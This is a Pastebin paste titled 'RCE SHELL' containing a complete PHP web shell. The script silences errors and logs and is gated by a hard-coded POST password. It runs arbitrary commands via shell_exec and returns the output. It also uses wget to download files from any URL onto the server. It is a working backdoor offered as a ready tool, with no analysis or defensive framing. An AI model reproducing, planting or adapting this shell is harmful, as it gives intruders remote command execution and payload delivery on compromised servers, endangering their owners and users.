Advertisement
ardann

RCE SHELL

May 19th, 2018
584
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.15 KB | None | 0 0
  1. <?php
  2. //header("Content-type: image/png");
  3. @error_reporting(0);
  4. @ini_set('display_errors', 0);
  5. @error_reporting(0);
  6. @set_time_limit(0);
  7. @clearstatcache();
  8. @ini_set('error_log',NULL);
  9. @ini_set('log_errors',0);
  10. @ini_set('max_execution_time',0);
  11. @ini_set('output_buffering',0);
  12. @ini_set('display_errors', 0);
  13. if(isset($_POST["auth"])&&$_POST["auth"]=="access-shell"){
  14. $cmd = $_POST["cmd"];
  15.         $output = array(
  16.             'status' => 'success',
  17.             'output' => shell_exec($cmd)
  18.         );
  19.         $output = json_encode($output, TRUE);
  20.         echo $output."\n";
  21. }
  22. elseif (empty(isset($_POST["p4z"]))) {
  23. }
  24. else {
  25.     $output = array(
  26.         'status' => 'failed',
  27.         'output' => 'failed'
  28.         );
  29.     $output = json_encode($output, TRUE);
  30.     echo $output."\n";
  31. }
  32. if (isset($_POST["down"])&&$_POST["down"]=="true") {
  33.     $save = $_POST["save"];
  34.     $url = $_POST["url"];
  35.     $output = array(
  36.         'status' => 'success',
  37.         'response' => exec("wget -O ".$save." ".$url)
  38. );
  39.     $output = json_encode($output, TRUE);
  40.     echo $output."\n";
  41. }
  42. elseif (empty($_POST["down"])) {
  43. }
  44. else {
  45.     echo "Failed\n";
  46. }
  47. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement